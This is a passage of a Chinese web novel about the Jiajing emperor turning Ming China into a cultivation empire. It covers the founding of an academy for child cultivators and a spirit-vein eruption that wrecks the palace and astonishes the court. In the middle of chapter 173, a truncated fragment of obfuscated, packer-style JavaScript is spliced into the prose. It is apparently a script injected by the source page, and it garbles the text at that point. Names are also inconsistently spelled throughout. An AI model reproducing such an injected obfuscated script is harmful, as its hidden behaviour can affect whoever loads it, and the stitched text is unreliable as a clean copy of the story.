“这点朕有考虑过,”嘉靖微微颔首,“灵脉铺设后,朕会用‘反向聚灵阵’禁锢,防止不必要的灵气外泄浪费,不过……” 说着,嘉靖语气微微一顿,又继续道:“但灵脉本身就是灵气精华荟萃之精华,铺设开,并引流到尔等府上,必然是要泄露。” “这是不可避免的,因此朕之后会标记出灵脉泄露所在,尔等尽早拿出个应对章程来。” 听到嘉靖如此说,众人都是微微躬身,道:“臣等,遵旨!” “除了灵脉铺设,我大明也要尽早做好日后仙朝第一阶段发展的准备,”嘉靖目光环视众人,而后看向严世蕃,“四年后变法结束……届时,我大明就要正式步入仙朝之列。” “有些事情,现在就可以准备了,比如一些‘仙苗’的培养!” 仙苗?听到这话,众人都是一愣,一时间没有反应过来这些‘苗为’何物。 “所谓仙苗,便是我大明朝,第二批修仙者!”嘉靖也不卖关子,直接开口。 “……” 第一百七十二章 百官:大明仙府是何意? “仙武卫,你们都知道了。不过仙武卫是我大明军事提升后的产物,变法也要包括军事提升,从我大明五军开始,仙苗则不是……” 听到嘉靖说,大明全军都要替换成仙武卫,众人对这一点并不意外。 毕竟未来大明是要无限扩张的。 就以现在,凡人军队的实力,对付诸如周边弱小的王朝还可以,但是如果对上一些强大的,比如跟大明一样,同样掌握火炮技术的海外强国,那胜负可就未知了。 即便大明可以胜利,估计也不会好过。 他们可是知道的,海外诸国的火炮技术不比大明弱,甚至是比大明还要强。 此前,严嵩就从葡萄牙的商人手里,购买了一些火炮技术,神机营、兵部、工部共同研究后,也为他们提供了不少技术。 足以见得,海外诸国,并非全是蛮夷! 甚至,难保不会随着时间的推移,海外诸国的实力也会整体上升,而大明的目标又是将诸国领土,全部纳入版图之中。 双方之间迟早会有一战,所以大明的军事实力必须要提升,而能在短时间内让大明军事实力暴涨的,只有仙武卫修炼的仙武法。 “仙苗是真正意义上的第二批修仙者,这些修仙者必须是从四五岁的孩童开始,”嘉靖可不管众人心中如何想,继续道: “他们是我大明仙朝的未来!” “因此朕决定,在铺设灵脉之后,于京城另立‘大明仙府’一座,”嘉靖说着,“由朕亲自担任山长,尔等内阁、司礼监众人任教授。” 大明仙府? 大明第二批修仙者? 还全部是四五岁的孩童? 不仅如此,他们这些内阁诸老,司礼监的大监,大明第一批修仙者,都要担任教授? 听到嘉靖的话,一时间,在场众人全都有些发懵,他们怎么也没有想到这大明仙苗,竟然是要他们亲自来培养。 “等到灵脉种入京城之后,尔等必然可以在短时间内,突破到练气三层!”嘉靖可不是在跟众人商量,而是命令道: “尔等记住了,第一批仙府培育出的仙苗,成熟后将会继续为大明培育新的仙苗,之后仙朝高官也都将从他们中优先挑选录取。” 听到嘉靖如此说,众人心头一怔。 像是严嵩和严世蕃父子,此刻眼底精光闪烁,他们已经看到了其中蕴藏的巨大利益。 当然此刻不光是严嵩父子,就连徐阶,以及张居正等人,此刻也是心头怦怦直跳。 不,还有司礼监众人!尤其是一直野心勃勃,想要出人头地,想要被所有人正视的陈洪,此刻更是兴奋的身体都隐隐发颤了起来。 “若是我能培养出一大批仙苗,那这些孩子就是我的徒儿,徒儿的徒儿就是徒孙……若是培养出个绝世天才,以后谁还敢小瞧我?” 嗯,他们这些太监,不可能有子嗣,把师徒,义子,看的本就是亲生亲养的一般,以后慢慢长生路上,若是能有徒子徒孙开枝散叶,也算是他们此生有后了。 当然,内阁众人想的,全是修仙家族的壮大和发展。 这批仙苗成长起来,那必然会在大明身居要职,修仙者的寿命是漫长的,匆匆三五百年都是常态,而这三五百年对于一个人的修仙之路,或许不会有长足的发展,但是对于一个家族来说,却可以为家族积累到一定的资源和底蕴。 一时间,大殿之上,众人心思各异。 “怎么,有异议?”嘉靖目光一凝,看向众人。 “臣等不敢,臣等遵旨!”众人赶紧同意下来。 异议?皇上此举,可以说是为他们发展修仙家族送‘福利’了,这要是不同意那他们就是傻子。 “行了,”该说的都说完了,嘉靖摆了摆手起身道:“大明仙府,便由户部督办,至于第一批仙苗从何而来,你们自行解决……朕就不留你们吃饭了,都散了吧,裕王跟景王留下。” 说完,嘉靖转身朝着偏殿而去。 而裕王跟景王二人则是立刻跟上父皇的脚步。 而众人在嘉靖离开后,在跟吕芳打过招呼后,也纷纷退出了玉熙宫,不过心里都开始装着三件事,那就是灵脉、大明仙府,仙苗! 玉熙宫外,西苑空处。 远处残阳如血,橘黄色的斜阳从远处落下,内阁众人踩着晚霞,三五成群的汇聚在一起。 严嵩父子、胡宗宪三人走在最前面。 徐阶、高拱、张居正和赵贞吉三人走在中间,最后面则是王崇古跟俞大猷。 新党中胡宗宪一只脚在严党,另一只脚在新党,而王崇古跟俞大猷则分别是裕王跟景王的人,如今的内阁看似三个派系,实则四个阵营。 “老师,”胡宗宪扶着严嵩,表情沉凝,道:“灵脉铺设,灵气充斥整个京城,还有仙府,仙苗的安排,看来大明步入仙朝指日可待了。” 严世蕃则是甩手走在一旁,嗯,他不屑于跟胡宗宪一同扶着老爹。 他是真的想不明白,胡宗宪有什么好,竟然让老爹将一个外人,看的比自己还重。 哼,你不是喜欢胡宗宪吗,那你千万让他扶好了,扶舒服了,千万别让给我! 此时听到胡宗宪的话,严世蕃不由得翻了个白眼,没好气道:“你说的这都是废话……” “世蕃!”然而,严世蕃的话还没说完,就迎来了严嵩的一记冷眼和一声低喝,“你能不能稳重点,这么大的人了,你看看你现在的样子……你就不能学学汝贞,稳重行事吗!” 被这么一通训,严世蕃脸色阴沉,看着胡宗宪的目光,越发的冷漠起来。 有时候他都忍不住要怀疑,胡宗宪不会是老爹的私生子吧? “汝贞,说说你的看法。”严嵩没有理会严世蕃那险恶的猜测,宽声对胡宗宪说道。 胡宗宪也不理会严世蕃的冷眼,直接选择了无视,然后皱了皱眉开口道:“灵脉泄露灵气,首先就是京城日后必然会变成人间福地……” 人间福地?听到这四个字,严世蕃似乎像是想到了什么,脑海中陡然一道灵光乍现。 人间福地,岂能是凡人居住之所?想 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“但,若这仙府中的仙苗,全部都是内阁诸臣家族中的……就算皇上不说什么,恐怕心底终究会心存一些芥蒂和猜疑。” “学生认为,”胡宗宪说着,抬眼看了一下静静听着的严嵩,然后语气顿了顿,又道: “所以,为了避免这样的情况发生,可以适当的从京城百姓家中选一定数量的百姓孩子,如此一来,内阁所有人拥有的名额数量就要限定,老师是内阁首辅,当做表率……” “还有就是明日,皇上铺设灵脉,灵气若是泄露必然会引发一些震动。这些也要提前做好准备和对百官的一些解释……” 胡宗宪不断的说着,严嵩也不停的点头。 而同样的,后面的徐阶等人,也在暗暗计较着明日,铺设灵脉的种种,以及大明仙府事宜。 很快,众人便各自散去,但不同的是,王崇古跟俞大猷是各自回家。 而清流一派则是全部朝着徐阶家中而去,胡宗宪也跟着严嵩父子回了严府。 今日发生的事情,对他们来说有些多了,必须要拉拢自己派系的核心成员彻夜长谈才行。 翌日,文华殿内。 内阁诸老端坐于两侧,上首位置上,裕王跟景王闭目养神,他们昨日在父皇处得到了不少好处,此刻正在静静消化着脑海中的东西。 而在边上两侧,六部、督察院等官员,则是按照清流、严党和新党,也就是军中派系站定。 不过此时六部众人,却是乱哄哄一片。 “大明仙府?”有礼部尚书皱着眉头,张了张,想要询问内阁诸老是何意。 毕竟这种全新的东西他们可都是闻所未闻的,更不知道这是干什么用的。 其他人也都一边议论着,一边朝着内阁众人看来。 大明不是有国子监吗? 之前小阁老不也说了,要组建什么新国子监吗? 这大明仙府,又是干什么的? “……” 第一百七十三章 惊变,灵气风暴,健步如飞的严阁老?百官惊悚!!! 按理说,这大明仙府与国子监的职责类似,那就是要归于礼部管理的。 因此,礼部尚书才会下意识的看向内阁,想要询问一个缘由,毕竟在他的想法中,这所谓的大明仙府,最终也会归入礼部之下。 然而面对他询问的目光,甚至是其他人探究的眼神,内阁诸老却是丝毫没有回答的意思。 内阁如此傲慢的态度,一时间让六部都察院,大理寺等高官心中微微不悦。 在他们看来,依照朝廷法度内阁,并没有权利领导他们六部甚至是高于他们。凭什么内阁一副凌驾于所有官员之上的姿态? 当然,有这想法倒也理解,毕竟这些人是经历过又一次清理的新六部、督察院的高官,要是之前的,自然是内阁说什么那就是什么了。 大明仙府? 人群中已经荣升至户部侍郎,体型像是个员外一样富态的李志远,眼神闪烁。 可以说,自从整顿吏治以来,就成了铁打的六部,流水的官员了,大明,自内阁以下的高层不知道经历了多少轮的洗牌。 而他李致远,因为跟对了人,所以不但没有被清理出京,甚至还一路高升。 现如今除了内阁诸老和几个有数的人,比如海瑞,王用汲等人外,他就是对朝廷最大秘密了解最清楚,接触层次最深的人。 当今日内阁提出‘大明仙府’四个字的时候,他心里就自动的联想到了修仙之上。 想及此处,李志远的目光不自觉的投向了坐在椅子上,不发一言,默默喝茶的赵贞吉。 “看来,必须要拜访一次赵部堂了。”李志远心中暗暗想着。 他想要知道,这大明仙府是做什么的。 “咳,”这时,严世蕃突然发出一声轻咳,待所有人的目光都汇聚在他身上的时候,这才开口,道:“大明仙府,尔等可以理解为国子监,或者是一座书院一样的存在。” 国子监?书院?众人一愣,不过却没有说话,而是继续静静等待着严世蕃的下文。 李志远听到‘书院’这两个字的瞬间,眼底精光爆闪,心脏都跳的快了起来! “难道是教授如何修仙的不成!”想及此处,李志远看向严世蕃的目光,也不由的变了,就连呼吸都在这一刻,变得急促起来。 “大明仙府,由皇上亲任山长,”严世蕃说着,抬手朝着玉熙宫的方向拱了拱手,“由内阁和司礼监众人,担任教授。当然,就算是二位殿下,国师也会任教。” ——嘶! 听到严世蕃说起大明仙府内,山长和教授是何人后,在场所有人都不由倒抽了口凉气。 他们听到了什么?内阁和司礼监,还有二位殿下,都会担任大明仙府的教授? 不仅如此,甚至就连皇上,都要亲自担任这大明仙府的山长? 是他们听错了吗? 还是说小阁老说错了? 这大明仙府到底是做什么的?又有何等作用?仙府?难不成真的是修仙书院? 呵呵,不可能,绝对不可能!这世上怎么可能有仙人,又怎么可能有修仙存在呢? 一时间原本就不怎么安静的文华殿,霎时间因为严世蕃的一番,话惊起一片议论之声。 “皇上亲自担任山长?这是否于礼不合?”新任督察院左都御史是个看起来有些木讷的白发老头,名叫张庭瑞。 不久前左都御史张慎行,因为参与孔家乱法被处死,之后就由右副都御史张廷瑞顶上。 当然之前的左都御史张圣行是严党的一派的人,而右副都御史则属于清流派系。 因为三教之争处理的人比较多,涉及到了内阁六部以及督察院,所以严党和清流之间的派系经过一番清洗之后又有了一次大轮转。 张庭瑞说着,有些敬小慎微的看向严世蕃。 其他官员此刻也有些无法接受这一突然的决定,纷纷看向严世蕃,等待一个详细的解释。 首先他们必须要知道,这大明仙府到底是做什么的,为何会让皇上和内阁司礼监全部加入?若是于朝廷,于百姓有益,他们自然支持。 若是仅仅只是皇上修道的个人喜好,那么他们说什么也是要上奏一番的。 京城六部、督察院等高层权力洗牌,好处这就体现出来了。这些新上任的官员,还没有加入清流、严党,又或者是新党的派系。 在他们看来,自己之所以能被朝廷直接选拔任用为京城的官员,尤其是六部,督察院这种要职,都得益于朝廷的慧眼识珠。 尤其是一些抑郁不得志,但是又有些才能的人,突然之间有了报效朝廷的机会,自然是肝脑涂地,眼里容不得一点沙子。 可以说是满腔热血,正打算奋斗! 更何况现如今的大明正是盛世来临,在他们看来,就需要好官去维持这一份来之不易的盛世,甚至是将这盛世推向更为极致的走向。 他们相信,自己就是那个对的人。 然而事实是,他们根本不明白,自己为什么会被朝廷选拔任用,内心的想法还是很单纯的,还没有变成三派的形状。 “哼,”看着这些凑上来,眼巴巴看着自己,希望能得到一个解释的众人 ,严世蕃眼底浮现出一抹冷笑之意,“你们不需要知道大明仙府是做什么的,通知你们是要告诉你们……” 这一刻的小阁老严世蕃,气势空前的强大,环视着六部、督察院、大理寺、通政使司、翰林院、钦天监等‘新兵蛋子’,道: “你们,唯一需要知道的就是大明仙府,从今以后不归属六部、都察院,大理寺等一切朝廷管辖,它只属于皇上!” “但凡是大明仙府的学子,虽然没有品阶,但也不允许除两厂一卫之外的人管理。” “凡涉及到仙府之事,皆要上报内阁,不得擅自插手,处理,甚至督建卷宗。”说完,严世发的目光又看向了知晓全部的徐璠,道:“徐璠,仙府督造,就交给你了。” 闻言,知晓大明学府是做什么用的,徐帆自然也不废话,点了点头应承了下来。 “此事,还需要户部配合……”毕竟是督造仙府,这里头涉及到了地皮的选择,财政的支出,这些都要跟户部接洽。 感受到徐璠投过来的目光,赵贞吉抬了抬眼皮,而后看向人群中自己一手提拔起来的户部侍郎李志远,道:“志远,你来负责。” 听到自己被赵步堂点名后,李致远眼底猛地爆射出一抹精光,心脏更是怦怦直跳。 以他在官场上的政治嗅觉灵敏度,又如何听不出来,赵步堂这是打算重用自己,并且让自己参与到大名仙府当中来。 “是,下官定好好配合!”李志远不敢托大,立刻应承下来。 内阁其他人看了一眼脑满肠肥,浑身上下透露着‘市侩’气息的李志远,瞥了眼赵贞吉后,眼神中都不由的浮现出一抹若有所思之色。 内阁众人都知道,这个李志远是赵贞吉的人,对此倒也没有说什么。 接下来,内阁成员都是要发展自己的势力,和各自的家族派系的,提前提拔一些自己人,让其适当的接触一下修仙,倒也不算什么。 比如裕王麾下,也有没入阁就知道朝廷修仙,并且已经得到修仙之法和被赐予了灵物资源的人,比如马芳。景王麾下也差不多,戚继光也同样得到了仙法。 马上,仙府建立,仙府中的仙苗,肯定是要从内阁众人家族中有限挑选,之后还要挑选一定的平民百姓,还有朝中各自派系的官员。 正如此前,胡宗宪所说的那般,仙府的仙苗们,绝对不能是内阁家族垄断。 否则就算皇上不说什么,那么长此以往下去成为内阁的一言堂,皇上迟早会不满。 此时看到赵贞吉明目张胆的提拔自己的人接触大明仙府,其他人也纷纷开始挑选自己派系的人,看看谁最合适。 严世蕃的一番话说的霸道无比,直接让六部、督察院、大理寺等一众‘新兵蛋子’各个怒目而视,不过他们终究还是保持着应有的理智。 虽然他们头铁心怀一腔热血。 但也知道严党的威名,这个时候和严世蕃对着干,难保仕途不会遭到刁难。 于是一个个只能敢怒不敢言的看着严世蕃,然后众人又像是想到了什么,纷纷将目光投向了清流派系,期许着徐阁老他们能出来说话。 虽然他们心里清楚,既然是皇上亲自担任这大明仙府的山长,那就说明就算是清流也不能阻止,可严世蕃这么嚣张,如此命令我等,身为正义一方,又是严党死对头的清流该说话了吧? 好歹为我的争回个面子吧? 怎么说我等也是六部,大理寺,都察院高官,也属于是站在大明权力巅峰的存在,被人像是训孙子一样训,太不体面了吧。 然而这一次,清流派系,包括徐阶,则是罕见的没有一个人站出来主持公道,就连向来和严世蕃不对付的高拱,此刻也是视而不见。 高拱此刻虽然不爽严世蕃的霸道行为,但在大是大非和切实利益方面,他还是能拎得清的。 内阁有内阁的世界,内阁之下又是一个世界,毕竟仙凡有别,为了一帮凡人,甚至是官场生涯匆匆十几载,甚至都不到十几载的一群凡人,与自己同一阶层的严世蕃互怼? 呵,这不体面! 关于大明仙府,内阁对百官的交代,就是严世蕃这一通,简单粗暴的通知,这些小事嘉靖自然不会理会,此刻他已经来到京城上空。 “刷!”大手一挥,在他面前,本命大明中,京城部位被他单独拆开,然后放大。 同时,此前用帝玺在本命上画好,用灵脉铺设好的那个大大的“∞”路线也跟着出现。 嘉靖没有急着第一时间就拿出那一条七品灵脉开始铺设,而是提前在此前安排好的铺设路线,以及各个节点处,开始布置反向聚灵阵。 反向聚灵阵,顾名思义,就是阵法,阵图、还有阵基和阵眼,都是反聚灵阵的排列。 聚灵阵是为了聚拢天地间的灵气,从而使据林镇覆盖范围内灵气浓郁度提升。 而反向聚灵阵则是为了将阵法覆盖的这一片区域的灵气凝聚起来,确保不会向外溢撒。 筑基后期的修为,布置超大型的反向聚灵阵或许会有些吃力,但连着布置十几个中小型聚灵阵还是很容易的。 神识从眉心探出,嘉靖首先来到“∞”的中心 位置,也是皇宫中心位置华盖殿的上空。 屏气凝神,开始刻画反向阵图排列,埋下反方向的阵眼和阵基。 源源不断的灵气从他身上逸散而出,最后跟随神识,化作一道道排列整齐的阵纹,落入华盖殿的地下百米的位置。 时间一分一秒过去,约莫一个时辰后,嘉靖又来到京城的西北角下方百米位置。 因为“∞”的灵脉铺设路线,是呈对角线,斜着铺设的,所以中心位置是皇宫谨慎殿,两个角就是西北角和东南角了。 如法炮制的在西北角和东南角,各布置了两个反向聚灵阵后,已经过去了五个时辰。 此时,天色已经彻底暗了下来,天穹之上,夜空晴朗一片,明月高悬,如水的月色铺洒而下,将整个京城笼罩其中。 不过此时,二王、内阁众人、还有司礼监的吕芳等人,全都无心睡眠,静静的等待着。 因为他们知道,今日一整天,皇上都在布置灵脉,他们虽然帮不上忙,但这个时候如果安心入睡的话,可就是大不敬了。 而且,他们也想看看,灵脉铺设以后,京城会发生何等的变化。 “呼!”天穹之上,嘉靖看着最后一个被自己布置完的最后一处反向聚灵阵,也是不由的呼出一口气,道:“这真不是个轻松的活。” 这反向聚灵阵的布置,主要是耗费神识,灵气方面,他有灵源,倒是不用担心。 “七品灵脉,希望不会让朕失望!”嘉靖盘腿坐在一把长剑之上,看着手里的卷轴,暗暗说道。 嗯,这把飞剑也是他从四方城购买的,不算什么名剑,就是一把普通的下品宝器,将就着能满足御剑飞行,一把也就几十两灵源。 嘉靖没有急着拿出灵脉开始铺设,而是盘腿开始打坐恢复起了体力。 铺设灵脉,同样要耗费大量的神识和灵气,他必须要局爱那个自己的状态,恢复到最巅峰,如才才能确保不会出事。 时间一分一秒过去,当东方一轮红日升起,橘黄色的暖阳包裹在身上,嘉靖也恢复到了最巅峰状态,同时也缓缓睁开了双眼。 没有犹豫,嘉靖起身,飞剑载着他没入华盖殿之中,至于周边的太监宫女,侍卫早早的就被吕芳安排人给清场了。 拿出五行遁地符打在身上,嘉靖身体缓缓下移,同时在他面前,本命大明也出现,标注着他所处的位置,来到百米处,达到预定地点。 “就是这里了!”看着本命上,站在“∞”的中间位置上,嘉靖深吸一口气,神识打开那份刘权给他的,封印着七品灵脉的卷轴。 “哗!”几乎是在卷轴拉开的瞬间,继而只听卷轴被撕裂,继而卷轴整个化作一道透明状,表面更是荡起一层涟漪。 跟着,就是一股狂暴无比的灵气风暴,不,确切的说是一股浓郁粘稠的透明液体,直冲嘉靖面门而来,饶是嘉靖筑基后期的修为,毫无征兆之下也被这股狂暴的灵源给冲飞出去。 好在他身体周围十几米都被清空出了一片空地,否则这一下在地底,他要硬挨了! “不好!”看着那股直冲地面之上而去,同时朝着地底百米处,四面八方狂暴怒冲的灵源,还有那像是空间裂缝一般,被撕裂的口子里,隐隐有什么东西要出来的一幕,嘉靖面色一变。 眼下这股狂暴的透明液体是灵源,而灵脉本体还没有出现,不过其中蕴含的无匹力量,饶是嘉靖,也隐隐感受到了一股压力。 “轰!”恐怖的灵源风暴,眨眼间便直冲地面而去,当然地底百米之下也依旧在深入。 灵源冲破地面的瞬间,华盖殿内的一切瞬间被磅礴的灵气能量摧毁,继而灵源冲破大殿屋顶,然后直冲天际。 “咚!”这一刻,空间都在这一刻隐隐发颤,无形中似乎是一怔,陷入了瞬息间的停滞,继而迎来的便是更大的能量暴动。 与此同时,这突然而来的恐怖动静,自然瞒不过皇宫里的众人。 “那是什么?!”在奉天殿周围扫撒的太监,宫女,还有巡视的侍卫,全都在这一刻,看到了那冲天而起的恐怖透明‘水浪’。 然而不等太监叫喊出声,跟着就是一股恐怖的能量,将众人全部掀飞出去而后晕死过去。 至于三大殿之一的华盖殿,更是在这一刻瞬间坍塌,化作一片废墟,就连前后的奉天殿和谨慎殿也在这一刻遭到波及。 “轰隆隆!”恐怖的坍塌声响起,引起了无数人的注意,当然席卷而出的能量,更是让无数人被殃及池鱼。 文华殿内。 六部、督察院、大理寺、钦天监等有资格上朝的官员,此刻正在激烈议政。 礼部在商议着各国的朝贡,还有大明与属国之间的外交关系。兵部则是跟户部扯皮,要求拨款,如今新党都是军方之人,而且军方又刚刚灭了一国,可谓是新贵气焰高涨。 这一句,自然引起了其他各部的不满。 吏部则是制定着各地官员的考核,还有官员任免,科举事宜,当然最重要的是变法已经开始,他们要重新制定未来四年的科技。 毕竟四年后,启思革新的国策要看到成果,而最佳的验收成绩,就是变法后的第一场科 举。 总之,随着启思革新的变法开始,六部整天都忙的焦头烂额,每天都有吵不完的架。 对于今日,内阁诸老和二位殿下没有来这一点,他们可以说是毫不在意。 “不行,如今我大明根本没有战事,你兵部要这么多的军需物资作甚?”如今负责帮助赵贞吉,处理户部所有事宜的李志远大手一挥,圆啾啾的眸子,瞪着兵部尚书李承武。 “我兵部行事,何须向你解释?”兵部尚书李承武眉头一拧,背着手冷冷道。 内阁新党三个阁老可都是军方的大佬,身为兵部尚书,他可丝毫不惧户部,何况眼前之人,不过是一个被赵步堂所看中的幸运儿。 侍郎?区区三品官而已,也敢呲牙? “你!”被李承武这个兵痞当着这么多同僚怒怼,李志远顿时气急。 一回头,才发现众人都看笑话似的看着他,关键是看他笑话的还都是尚书。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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虽然他们不耻于李志远这样阿谀奉承,靠着裙带关系上位的人,但是事实不得不承认,如果今天打了李志远,那就等同于抽了赵步堂的脸。 他们这群人刚刚来京,还没有站队,可没有内阁的关系,出事了就等着被外放。 “我可不……”李承武还要说着,可下一刻异变顿生,恐怖的能量直接将墙面轰塌,众人只觉得一股不可抗拒的力量轰来。 “啊!!!”顿时,惨叫发出,包括李承武、李志远在内的所有官员,都被轰出了门,狠狠摔在大殿之外。 当然,连同的还有周边其他的院墙。 “嘶!”灰头土脸的李志远,疼的呲牙咧嘴的从地上坐起身,然而不等他回头看什么情况,紧跟着就听一道大城山口音的惊呼响起,“我娘呦,那是什么?” 听到动静的百官纷纷抬头,朝着西北边看去。 然而下一刻,他们都被那震撼的一幕所震惊,目瞪口呆,久久不能回神。 只见一道恐怖比水缸还要粗两三圈的透明状态,粘稠水龙卷冲天而起,直入云层。 “轰隆隆!”只见此时原本晴空万里的天穹,或许是因为这恐怖而诡异的,像水又不是水的龙卷直入云霄的原因。 天穹一片阴沉,怒云翻滚,不时的还有阵阵雷霆闪烁,宛若末日景象一般。 下一刻,瓢泼大雨轰然落下。 只是这雨水落下的同时,伴随着阵阵沁人心脾的香味! 这一刻,大雨笼罩了整个京城! “那是……华盖殿的方向!!!” 身强体壮的李承武拍了拍脸上的土灰,来不及多想,起身拔腿就朝着左顺门的冲去。其他人看到这一幕,也来不及多想,纷纷跟上。 李志远坐在地上愣了一会,继而浑身一个激灵,他知道的比旁人多,看到这诡异的水龙卷的一刻,顿时知晓,必然跟仙人有关! 来不及多想,李志远爬起来也赶紧冲去。 此时一直等在西苑的吕芳,自然也是在第一时间,看到了华盖殿方向发生的意外。 “不好,主子出意外了!”看到这一幕,吕芳瞳孔骤然一缩,来不 及多想就要冲过去,然而就在这个时候,他的脑海当中突然响起嘉靖的神识传音,“所有人,前来华盖殿,助朕!” 严府。 同样看到这一幕的严嵩、严世蕃和严绍庭祖孙三人以及胡宗宪,在皇宫惊变出现的一瞬间,也是在第一时间发现了。 “爹!”严世蕃指着华盖殿的方向,那恐怖,冲天而起的诡异龙卷,还有冲刷而下,饱含灵气的雨水,惊呼道:“出事了!” 看到这一幕,严嵩也是身体一颤,瞪大着双眼快步上前了几步,凝视着皇宫的方向,满脸的紧张之色,眼底有着深深的担忧。 一旁的胡宗宪,也是瞪大着双眼,呼吸急促,大脑飞快的运转着。 这一年时间,他也已经开始修炼了,虽然还没有突破练气一层,但至少也是个修仙者了。 自然能感受得到天地间,极速暴涨的浓郁灵气。 “怎么办?!”严世蕃问出声。 “所有人,来华盖殿,助朕!”就在这时,几人耳边同时响起嘉靖的神识传音。 严嵩身体一颤,来不及多想,猛然转身,这一刻他已然没有了平日里表现出来的苍老之态,语气急促的凝视着胡宗宪,道: “汝贞,听好了!你现在就去找王崇古和俞大猷,即刻起让五城兵马司和神机营封锁京城,所有百姓不得出门,违令者……杀!” “还有城中那些诸国暗探,全部处理,一个不留!”说完,严嵩不再废话,直接对严世蕃以及已经突破到练气一层的孙子严绍庭道: “世蕃,绍庭,我们走!” “是!”说完,严家祖孙三人直接大踏步冲了出去,直奔皇宫的方向。 当然,这一刻可不光是严嵩祖孙三人收到嘉靖命令的第一时间冲向皇宫。 徐阶府上,徐阶父子;高拱府上,高拱;张居正府上,张居正;赵贞吉府上,赵贞吉。 还有裕王府、景王府,二王。 这一刻,大明第一批修仙者,全部出动,根本顾不上其他,也不理会路人的反应,全力运转功法‘引气诀’,灵气灌注双腿冲向皇宫。 奉天殿外。 几十道身穿紫色长袍,头戴斗篷的太监早早出现,拦住了想要冲向华盖殿的百官。 “让开!”李承武看着这些打扮奇怪的太监,大喝道:“本官乃是兵部尚书,华盖殿出了事,我等有义务前去查看……” “未经允许,擅入者……”说话的是一个高高瘦瘦的首领太监,抬头的同时,兜帽下冰冷的眸子中闪烁着寒光,“杀!” 看着这几十个,站成一堵墙,阻挡着自己等人的紫衣太监,百官顿时大惊。 惊讶于这个首领太监,竟然敢公然威胁一个兵部尚书,同时也惊讶于这些从未见过的太监,当然更惊讶于他们竟然没见过这些太监。 刚才他们只是冲向华盖殿的时候,就在奉天殿外的广场上被这些,如幽灵一般出现的太监给拦下。 看着这些带着兜帽,神色冰冷,年龄还不大的小太监,六部高官都不怀疑他们敢强闯,怕是下一刻就会身首异处! 震撼,头皮发麻,遍体生寒! 这还是他们熟悉的那个朝廷吗?这一刻,百官看着这个他们常来的皇宫,只觉得陌生无比。 陌生的让人心底发寒,朝廷,或者说皇上,到底瞒了他们多少? “呼呼呼!”就在这时,众人突然听到身后似乎有响动,而后下意识的回头看去。 下一刻,所有人都不淡定了,一时间只觉得眼花,看错了! 只见内阁诸老,除了新党三老不在外,严阁老他们竟然全都来了。 不,这不是重点,重点是他们竟然是飞奔着来的,速度更是快的出奇! “嗖!”修为最强的严嵩父子,还有徐阶直接冲了过去,而那些太监则丝毫没有阻拦。 “刚才,那健步如飞的是……严阁老吗?”有人讷讷道:“不是说他老了吗?” “……” 第一百七十四章 滂沱灵雨,福泽万物,朝廷一直在骗我们!修仙还瞒吗? “好像,真的是严阁老!” “你没看错,还有徐阁老,张阁老,高阁老,还有赵阁老……小阁老身边的那个少年,似乎是他的儿子,严绍庭……” 看着大雨中狂奔,眨眼间便没入雨幕深处,直奔华盖殿所在而去的内阁众人,百官一个个目瞪口呆,不可思议的发出阵阵惊呼。 他们都看到了什么? 如果他们没有猜错的话,今年是嘉靖四十九年,而严阁老今年有九十岁了吧? 九十岁的高龄,大雨当中健步如飞? 之前不是有传言说严阁老病重,有时,只要不是什么重要的朝会,他都不会来。 上下朝,更是由胡宗宪和严世蕃二人搀扶着才行,俨然一副垂垂老矣,大限将至的模样,可是现在谁能告诉他们,刚才看到的算什么? 大限将至,却健步如飞,那他们这些身体健康的人,又算什么?废物吗? 到底有谁能告诉他们,这朝廷到底发生了什么?华盖殿方向那巨大、诡异、像是鼻涕一样的水龙卷又是什么?还有这些突然冒出来,像是幽灵一般的太监,又是哪儿来的? 这一刻的六部,大理寺,都察院,钦天监高官等人,所有不知情的官员都在这一刻凌乱了,他们感觉自己对朝廷的了解约等于零。 眼前的朝廷,眼前的大明,眼前的内阁诸老,还是他们熟悉的那个大明吗? 人群中,只有李志远,呼吸急促,一颗心更是在这一刻砰砰砰的直跳。 眼前他们所看到的朝廷,自然不是以前的那个朝廷,内阁诸老也早已不是原先的凡人。 现在的大明乃是修仙王朝! 而现在的内阁诸老,全部都是传说当中的“仙人”! 严阁老大限将至?呵呵,这简直就是放屁,恐怕你们这些凡人入土了,骨头都化了,严阁老还依旧活的好好的。 “不行,”想到这些,李志远拳头捏的梆硬,一张胖脸上神情紧绷,暗自下定决心,“这次大明仙府督造,将会是我进入核心圈层,踏足修仙一途的最佳机会,绝对不能错过!” 皇宫,华盖殿内。 “刷刷刷!”十几道身影不顾周围狂暴的能量波动,直接冲到了废墟之中,来到了大殿的核心地带,看到了那巨大的天坑。 这十几道身影不是别人,正是严嵩、严世蕃、严绍庭、徐阶、高拱、张居正、赵贞吉、吕芳、陆炳、清风、景王和裕王等人。 狂暴的灵气能量,席卷成飓风,吹的众人衣袍鼓动,几乎要睁不开双眼。 “嘶!”当看到大殿中,那直入云端的恐怖龙卷,还有周围那粘稠一片,几乎要形成一个小型池塘的灵源,吕芳不由得倒抽了一口气。 而随着他一抽气,灌入口中的便是粘稠而浓郁的灵气,让他体内的‘引气诀’疯狂运转。 此刻站在天坑边缘的其他人也是如此,每个人都下意识的去贪婪的呼吸此地浓郁的灵气。 不过在场的不管怎么说都是站在大明权力巅峰的存在,虽然身体和功法的本能让他们有些呼吸急促,但终究没有太过失态。 “灵源!”吕芳面色凝重道。 灵源?其他人听到这个词,自然不陌生,在场众人当中,除了吕芳之外,服用过灵源最多的人,就是裕王和景王二人。 至于严嵩等其他人虽然没有直接获得过灵源修炼,但是也多多少少从吕芳和二王处得到过一些稀释的灵源,自然知晓这东西的存在。 此刻看着面前这凝固成粘稠状的透明水流,他们这才算是真正目睹了灵源的真容。 同时也都是明白了过来,为何之前皇上说要在京城之地铺设灵脉,同时还警告众人不得私自挖掘,原来这便是原因! “这就是灵源吗?比灵物资源蕴藏的灵气还要浓郁数倍,乃至数十倍!”严世蕃吞了口口水,目光贪婪的盯着面前冲天的龙卷。 当然,他之所以会目露贪婪之色,也不过是出于本能而已。 真让他打灵脉的主意,理智告诉他,不说皇上不会饶了他,恐怕老爹第一个就容不了他。 以后严家的日子很长,严绍庭也修仙了,而且天赋还不错,至少在灵物资源供应充足的情况下,比当初的他们入练气一层还要早一些。 